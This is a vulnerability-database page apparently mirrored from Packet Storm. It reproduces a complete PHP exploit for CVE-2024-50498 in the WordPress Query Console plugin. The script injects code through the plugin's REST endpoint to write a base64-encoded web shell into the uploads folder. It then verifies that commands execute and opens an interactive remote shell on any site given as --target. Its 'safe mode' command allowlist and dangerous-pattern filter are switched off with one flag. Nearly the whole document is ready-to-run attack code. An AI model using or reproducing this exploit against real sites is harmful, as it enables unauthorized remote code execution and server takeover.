Lucene search
K

📄 WordPress Query Console 1.0 Code Injection

🗓️ 02 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 119 Views

Class-based PoC for WordPress Query Console 1.0 code injection with CLI tooling and safety features.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress Query Console 1.0 Exploit Implementation                                                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214250/ & CVE-2024-50498
    
    [+] Summary    :  This code represents an advanced, class-based proof-of-concept targeting a WordPress Query Console vulnerability. 
                      It is designed as a CLI-only tool that automates payload upload, verification, command execution testing, and optional interactive shell access, with cleanup capabilities afterward. 
                      The implementation includes safety features such as a restricted command mode, basic rate limiting, OS detection, output sanitization, and payload markers to reduce false positives.
    
    [+] Usage : 
    
    # Safe Mode (assumed) : php exploit.php --target http://victim.com
    
    # Unsafe Mode (more commands) :php exploit.php --target http://victim.com --unsafe --timeout 20
    
    # No automatic cleanup : php exploit.php --target http://victim.com --no-cleanup
    
    [+] POC :
    
    <?php
    
    class WordPressQueryConsoleExploit {
        private $target;
        private $url;
        private $cmdUrl;
        private $isWindows;
        private $timeout = 10;
        private $payloadMarker;
        private $uploadVerified = false;
        
        public function __construct($target, $timeout = 10) {
            $this->target = rtrim($target, '/');
            $this->url = $this->target . "/wp-json/wqc/v1/query";
            $this->cmdUrl = null;
            $this->isWindows = null;
            $this->timeout = max(5, min($timeout, 60)); 
            $this->payloadMarker = 'WQC_EXPLOIT_' . bin2hex(random_bytes(8));
        }
        
        public function setTimeout($timeout) {
            $this->timeout = max(5, min($timeout, 60));
        }
        
        private function banner() {
            $banner = <<<BANNER
     ██╗███╗   ██╗██████╗  ██████╗ ██╗   ██╗███████╗██╗  ██╗██╗  ██╗ █████╗ 
     ██║████╗  ██║██╔══██╗██╔═══██╗██║   ██║██╔════╝██║  ██║██║ ██╔╝██╔══██╗
     ██║██╔██╗ ██║██   █╔╝██║   ██║██║   ██║███████╗███████║█████╔╝ ███████║
     ██║██║╚██╗██║██╔══██╗██║   ██║██║   ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
     ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║  ██║██║  ██╗██║  ██║
     ╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝
     
              WordPress Query Console 1.0 Exploit Implementation
    
    BANNER;
            echo $banner;
        }
        
        private function printMessage($message, $icon) {
            echo $icon . " " . $message . "\n";
            usleep(100000); 
        }
        
        private function extractHostFromUrl($url) {
            $parsed = parse_url($url);
            return $parsed['host'] ?? parse_url('http://localhost', PHP_URL_HOST);
        }
        
        private function httpRequest($url, $method = 'GET', $data = null, $headers = [], $params = []) {
            $ch = curl_init();
    
            if (!empty($params) && $method === 'GET') {
                $url .= (strpos($url, '?') === false ? '?' : '&') . http_build_query($params);
            }
            
            $defaultHeaders = [
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',
                'Accept: */*',
                'Accept-Language: en-US,en;q=0.5',
                'Accept-Encoding: identity',
                'DNT: 1',
                'Connection: close'
            ];
            
            $allHeaders = array_merge($defaultHeaders, $headers);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_HTTPHEADER => $allHeaders,
                CURLOPT_HEADER => false
            ]);
            
            if ($method === 'POST') {
                curl_setopt($ch, CURLOPT_POST, true);
                if ($data !== null) {
                    curl_setopt($ch, CURLOPT_POSTFIELDS, is_string($data) ? $data : json_encode($data));
                    if (is_array($data)) {
                        $allHeaders[] = 'Content-Type: application/json';
                        curl_setopt($ch, CURLOPT_HTTPHEADER, $allHeaders);
                    }
                }
            }
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            return [
                'code' => $httpCode,
                'body' => $response !== false ? $response : '',
                'error' => $error,
                'success' => $httpCode >= 200 && $httpCode < 300 && empty($error)
            ];
        }
        
        private function uploadPayload() {
            $host = $this->extractHostFromUrl($this->target);
            
            $headers = [
                'Host: ' . $host,
                'Referer: ' . $this->target . '/wp-admin/admin.php?page=wp-query-console',
                'Origin: ' . $this->target
            ];
    
            $payloadCode = base64_encode('<?php
    if (isset($_GET["cmd"]) && !empty($_GET["cmd"])) {
        header("Content-Type: text/plain");
        $cmd = $_GET["cmd"];
        $output = "";
        $return_var = 0;
    
        $os = strtolower(PHP_OS);
        $isWin = (strpos($os, "win") === 0);
        
        if ($isWin) {
            $cmd = "cmd /c \"" . addslashes($cmd) . " 2>&1\"";
        } else {
            $cmd = escapeshellcmd($cmd) . " 2>&1";
        }
    
        if (function_exists("system")) {
            @ob_start();
            @system($cmd, $return_var);
            $output = @ob_get_clean();
        } elseif (function_exists("passthru")) {
            @ob_start();
            @passthru($cmd, $return_var);
            $output = @ob_get_clean();
        } elseif (function_exists("exec")) {
            @exec($cmd, $outputArray, $return_var);
            $output = implode("\n", $outputArray);
        } elseif (function_exists("shell_exec")) {
            $output = @shell_exec($cmd);
        }
        
        if (empty($output) && $return_var != 0) {
            echo "Command failed with exit code: " . $return_var;
        } else {
            echo $output !== null ? $output : "No output";
        }
    } else {
    
        echo "SYSTEM_INFO:OS=" . PHP_OS . ";PHP=" . PHP_VERSION . ";TIME=" . time() . ";MARKER=' . $this->payloadMarker . '";
    }
    ?>');
            
            $data = [
                "queryArgs" => "file_put_contents('wp-content/uploads/' . date('Y') . '/' . date('m') . '/wqc_" . bin2hex(random_bytes(4)) . ".php', base64_decode('" . $payloadCode . "'));",
                "queryType" => "WP_Query"
            ];
            
            $this->printMessage("Uploading payload...", "[+]");
            $result = $this->httpRequest($this->url, 'POST', $data, $headers);
            
            if (!$result['success']) {
                $this->printMessage("Upload failed: " . ($result['error'] ?: "HTTP {$result['code']}"), "[-]");
                return false;
            }
    
            $jsonResponse = json_decode($result['body'], true);
            
            if ($jsonResponse !== null) {
    
                if (isset($jsonResponse['status']) && $jsonResponse['status'] >= 400) {
                    $this->printMessage("API Error: " . ($jsonResponse['message'] ?? json_encode($jsonResponse)), "[-]");
                    return false;
                }
                if (isset($jsonResponse['code']) && is_numeric($jsonResponse['code']) && $jsonResponse['code'] >= 400) {
                    $this->printMessage("API Error Code: " . $jsonResponse['code'], "[-]");
                    return false;
                }
                if (isset($jsonResponse['success']) && $jsonResponse['success'] === false) {
                    $this->printMessage("API reported failure", "[-]");
                    return false;
                }
            }
            
            $this->printMessage("Upload request completed", "[+]");
            return true;
        }
        
        private function locateAndVerifyPayload() {
            $currentYear = date('Y');
            $currentMonth = str_pad(date('n'), 2, '0', STR_PAD_LEFT);
    
            $possiblePaths = [
                $this->target . "/wp-content/uploads/{$currentYear}/{$currentMonth}/",
                $this->target . "/wp-content/uploads/",
                $this->target . "/uploads/{$currentYear}/{$currentMonth}/",
                $this->target . "/uploads/"
            ];
    
            $testFiles = ['wqc_*.php', 'cmd.php', 'shell.php'];
            
            foreach ($possiblePaths as $basePath) {
                $this->printMessage("Scanning: " . $basePath, "[*]");
                
                foreach ($testFiles as $pattern) {
    
                    if ($pattern === 'wqc_*.php') {
    
                        for ($i = 0; $i < 3; $i++) {
                            $testPath = $basePath . 'wqc_' . bin2hex(chr(97 + $i)) . '.php';
                            $result = $this->testPayloadFile($testPath);
                            if ($result['found']) {
                                $this->cmdUrl = $testPath;
                                $this->parseSystemInfo($result['response']);
                                $this->uploadVerified = true;
                                return true;
                            }
                        }
                    } else {
                        $testPath = $basePath . $pattern;
                        $result = $this->testPayloadFile($testPath);
                        if ($result['found']) {
                            $this->cmdUrl = $testPath;
                            $this->parseSystemInfo($result['response']);
                            $this->uploadVerified = true;
                            return true;
                        }
                    }
                }
            }
            
            $this->printMessage("Payload not found in common locations", "[-]");
            return false;
        }
        
        private function testPayloadFile($url) {
            $result = $this->httpRequest($url);
            
            if (!$result['success'] || $result['code'] !== 200) {
                return ['found' => false, 'response' => ''];
            }
            
            $body = trim($result['body']);
    
            if (strpos($body, $this->payloadMarker) !== false) {
                return ['found' => true, 'response' => $body];
            }
    
            if (strpos($body, 'SYSTEM_INFO:') !== false) {
                return ['found' => true, 'response' => $body];
            }
    
            if (strpos($body, '<?php') !== false && strlen($body) < 5000) {
                return ['found' => true, 'response' => $body];
            }
            
            return ['found' => false, 'response' => $body];
        }
        
        private function parseSystemInfo($response) {
            if (preg_match('/SYSTEM_INFO:OS=([^;]+)/', $response, $matches)) {
                $os = strtolower($matches[1]);
                $this->isWindows = (strpos($os, 'win') === 0);
                $this->printMessage("Detected OS: " . $matches[1] . " (" . ($this->isWindows ? "Windows" : "Unix-like") . ")", "[+]");
            } else {
                $this->isWindows = null;
                $this->printMessage("OS detection failed", "[-]");
            }
        }
        
        private function testCommandExecution() {
            if (!$this->uploadVerified) {
                return false;
            }
            
            $this->printMessage("Testing command execution...", "[+]");
    
            $testCommands = [
                'universal' => ['echo ' . $this->payloadMarker, 'whoami 2>&1', 'echo %CD% 2>&1 || pwd 2>&1'],
                'windows' => ['ver 2>&1', 'dir 2>&1', 'echo %USERNAME% 2>&1'],
                'unix' => ['uname -a 2>&1', 'id 2>&1', 'pwd 2>&1']
            ];
            
            $successCount = 0;
            $maxTests = 3;
    
            foreach ($testCommands['universal'] as $cmd) {
                $result = $this->executeCommand($cmd);
                if ($result['executed'] && !empty(trim($result['output']))) {
                    $successCount++;
                    
                    // محاولة اكتشاف النظام من الناتج
                    if ($this->isWindows === null) {
                        $outputLower = strtolower($result['output']);
                        if (strpos($outputLower, 'windows') !== false || strpos($outputLower, 'microsoft') !== false) {
                            $this->isWindows = true;
                        } elseif (strpos($outputLower, 'linux') !== false || strpos($outputLower, 'unix') !== false) {
                            $this->isWindows = false;
                        }
                    }
                    
                    if ($successCount >= 2) {
                        $this->printMessage("Command execution verified", "[+]");
                        return true;
                    }
                }
                
                usleep(200000);
            }
    
            if ($this->isWindows !== null) {
                $type = $this->isWindows ? 'windows' : 'unix';
                foreach ($testCommands[$type] as $cmd) {
                    $result = $this->executeCommand($cmd);
                    if ($result['executed']) {
                        $successCount++;
                        if ($successCount >= 2) {
                            $this->printMessage("Command execution verified", "[+]");
                            return true;
                        }
                    }
                    usleep(200000);
                }
            }
            
            $this->printMessage("Command execution test inconclusive (success: {$successCount}/{$maxTests})", "[!]");
            return $successCount > 0;
        }
        
        private function executeCommand($command) {
            $result = $this->httpRequest($this->cmdUrl, 'GET', null, [], ['cmd' => $command]);
            
            if (!$result['success']) {
                return ['executed' => false, 'output' => '', 'error' => $result['error']];
            }
            
            $output = trim($result['body']);
    
            $isErrorPage = (
                strpos($output, '<!DOCTYPE') === 0 ||
                strpos($output, '<html') !== false ||
                strpos($output, 'error') !== false && strlen($output) > 1000
            );
            
            $executed = !$isErrorPage && $output !== '' && strpos($output, $this->payloadMarker) === false;
            
            return [
                'executed' => $executed,
                'output' => $output,
                'error' => $isErrorPage ? 'HTML response detected' : ''
            ];
        }
        
        private function validateCommand($command) {
            $command = trim($command);
            
            if (empty($command)) {
                return ['valid' => false, 'reason' => 'Empty command'];
            }
    
            $allowedCommands = [
                'whoami', 'id', 'pwd', 'ls', 'dir', 'cat', 'type',
                'uname', 'hostname', 'ipconfig', 'ifconfig', 'netstat',
                'ps', 'tasklist', 'echo', 'find', 'grep', 'wc', 'head',
                'tail', 'df', 'du', 'free', 'top', 'env', 'set'
            ];
            
            $baseCmd = explode(' ', $command)[0];
            $baseCmd = preg_replace('/[^a-z0-9]/i', '', $baseCmd);
    
            if ($this->isWindows !== null) {
                if ($this->isWindows) {
                    $allowedCommands = array_merge($allowedCommands, ['ver', 'systeminfo', 'net', 'sc', 'reg']);
                } else {
                    $allowedCommands = array_merge($allowedCommands, ['ls', 'cp', 'mv', 'rm', 'mkdir', 'chmod', 'chown']);
                }
            }
            
            if (!in_array(strtolower($baseCmd), $allowedCommands)) {
                return [
                    'valid' => false, 
                    'reason' => "Command '{$baseCmd}' not in allowed list. Use --unsafe to bypass."
                ];
            }
    
            $dangerousPatterns = [
                '/\b(rm\s+-rf|del\s+\/q|format|mkfs|dd\s+if)/i',
                '/\b(wget|curl|ftp)\s+http/i',
                '/\|\s*(bash|sh|cmd|powershell)\s*$/i',
                '/`.*`/',
                '/\$\s*\(/',
                '/>\s*\/dev\/(sda|null)/i'
            ];
            
            foreach ($dangerousPatterns as $pattern) {
                if (preg_match($pattern, $command)) {
                    return ['valid' => false, 'reason' => 'Potentially dangerous command pattern detected'];
                }
            }
            
            return ['valid' => true, 'reason' => ''];
        }
        
        private function interactiveShell($unsafeMode = false) {
            $this->printMessage("Entering interactive shell...", "[+]");
            echo "Type 'exit', 'quit', or press Ctrl+C to leave.\n";
            
            if (!$unsafeMode) {
                echo "Safe mode enabled. Some commands may be restricted.\n";
                echo "Use --unsafe flag for fewer restrictions.\n";
            }
            echo "\n";
            
            $commandHistory = [];
            $lastCommandTime = 0;
            $commandCount = 0;
            
            while (true) {
                echo "shell> ";
                $input = fgets(STDIN);
                
                if ($input === false) {
                    echo "\n";
                    break; // Ctrl+D
                }
                
                $command = trim($input);
                
                if (empty($command)) {
                    continue;
                }
    
                if (in_array(strtolower($command), ['exit', 'quit', ':q'])) {
                    $this->printMessage("Exiting shell", "[+]");
                    break;
                }
    
                if ($command === ':history') {
                    foreach ($commandHistory as $i => $cmd) {
                        echo sprintf("[%d] %s\n", $i + 1, $cmd);
                    }
                    continue;
                }
                
                if ($command === ':info') {
                    echo "Target: " . $this->target . "\n";
                    echo "Payload: " . $this->cmdUrl . "\n";
                    echo "OS: " . ($this->isWindows ? "Windows" : ($this->isWindows === false ? "Unix-like" : "Unknown")) . "\n";
                    echo "Commands executed: " . $commandCount . "\n";
                    continue;
                }
    
                $currentTime = microtime(true);
                if ($commandCount > 4 && ($currentTime - $lastCommandTime) < 2.0) {
                    $wait = 2.0 - ($currentTime - $lastCommandTime);
                    $this->printMessage(sprintf("Rate limit: waiting %.1f seconds...", $wait), "[!]");
                    usleep($wait * 1000000);
                }
                
                $lastCommandTime = microtime(true);
                $commandCount++;
                $commandHistory[] = $command;
    
                if (!$unsafeMode) {
                    $validation = $this->validateCommand($command);
                    if (!$validation['valid']) {
                        echo "Command rejected: " . $validation['reason'] . "\n";
                        continue;
                    }
                }
    
                $result = $this->executeCommand($command);
                
                if (!$result['executed']) {
                    echo "Execution failed";
                    if (!empty($result['error'])) {
                        echo ": " . $result['error'];
                    }
                    echo "\n";
                    continue;
                }
    
                $output = $result['output'];
    
                $output = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $output);
                $output = preg_replace('/<style\b[^>]*>(.*?)<\/style>/is', '', $output);
                $output = strip_tags($output);
                $output = html_entity_decode($output, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                
                if (empty(trim($output))) {
                    echo "(No output)\n";
                } else {
    
                    $lines = explode("\n", $output);
                    if (count($lines) > 50) {
                        echo "Output truncated to first 50 lines. Total: " . count($lines) . " lines\n";
                        echo "---\n";
                        $lines = array_slice($lines, 0, 50);
                        $output = implode("\n", $lines) . "\n... [truncated]";
                    }
                    
                    echo $output . "\n";
                }
            }
        }
        
        public function cleanup($force = false) {
            if (!$this->cmdUrl) {
                return false;
            }
            
            $this->printMessage("Attempting cleanup...", "[+]");
    
            if ($this->isWindows) {
                $cleanupCmd = 'del /f "' . addslashes($this->cmdUrl) . '"';
            } else {
                // Unix-like
                $cleanupCmd = 'rm -f "' . addslashes($this->cmdUrl) . '"';
            }
            
            $result = $this->executeCommand($cleanupCmd);
            
            if ($result['executed']) {
    
                $check = $this->httpRequest($this->cmdUrl);
                if ($check['code'] === 404 || $check['code'] >= 400) {
                    $this->printMessage("Cleanup successful", "[+]");
                    return true;
                }
            }
            
            $this->printMessage("Cleanup may have failed", "[-]");
            return false;
        }
        
        public function exploit($unsafeMode = false) {
            $this->banner();
    
            if (!$this->uploadPayload()) {
                $this->printMessage("Upload failed", "[-]");
                return false;
            }
    
            if (!$this->locateAndVerifyPayload()) {
                $this->printMessage("Payload verification failed", "[-]");
    
                echo "Enter payload URL manually (or press Enter to exit): ";
                $manualUrl = trim(fgets(STDIN));
                if (!empty($manualUrl)) {
                    $this->cmdUrl = $manualUrl;
                    $this->uploadVerified = true;
                } else {
                    return false;
                }
            }
    
            $executionTest = $this->testCommandExecution();
            
            if (!$executionTest) {
                $this->printMessage("WARNING: Command execution may not work", "[!]");
                echo "Continue anyway? (y/n): ";
                $response = trim(fgets(STDIN));
                if (strtolower($response) !== 'y') {
                    return false;
                }
            }
    
            $this->interactiveShell($unsafeMode);
            
            return true;
        }
    }
    
    if (php_sapi_name() !== 'cli') {
        die("This script must be run from command line\n");
    }
    
    $options = getopt("", ["target:", "timeout:", "unsafe", "help", "no-cleanup"]);
    $target = $options['target'] ?? null;
    $timeout = isset($options['timeout']) ? intval($options['timeout']) : 10;
    $unsafeMode = isset($options['unsafe']);
    $noCleanup = isset($options['no-cleanup']);
    
    if (isset($options['help']) || !$target) {
        echo "WordPress Query Console CVE-2024-50498 Exploit by indoushka\n";
        echo "============================================================\n\n";
        echo "Usage: php " . basename(__FILE__) . " --target <URL> [OPTIONS]\n\n";
        echo "Required:\n";
        echo "  --target <URL>    Target WordPress URL (e.g., http://example.com)\n\n";
        echo "Options:\n";
        echo "  --timeout <sec>   Request timeout in seconds (5-60, default: 10)\n";
        echo "  --unsafe          Disable command validation (less safe)\n";
        echo "  --no-cleanup      Do not attempt to remove payload after exit\n";
        echo "  --help            Show this help message\n\n";
        echo "Examples:\n";
        echo "  php " . basename(__FILE__) . " --target http://wp-site.com\n";
        echo "  php " . basename(__FILE__) . " --target https://victim.com --timeout 15 --unsafe\n";
        exit(1);
    }
    
    try {
        $exploit = new WordPressQueryConsoleExploit($target, $timeout);
        
        if (!$noCleanup) {
            register_shutdown_function(function() use ($exploit) {
                $exploit->cleanup();
            });
        }
        
        $success = $exploit->exploit($unsafeMode);
        
        if (!$success) {
            echo "\nExploit failed. Possible reasons:\n";
            echo "  - Target is not vulnerable\n";
            echo "  - Plugin not installed/activated\n";
            echo "  - Security restrictions\n";
            echo "  - Network/firewall issues\n";
            exit(1);
        }
        
    } catch (Exception $e) {
        echo "[!] Fatal Error: " . $e->getMessage() . "\n";
        echo "Trace: " . $e->getTraceAsString() . "\n";
        exit(1);
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 3.19.8 - 10
EPSS0.91902
SSVC
119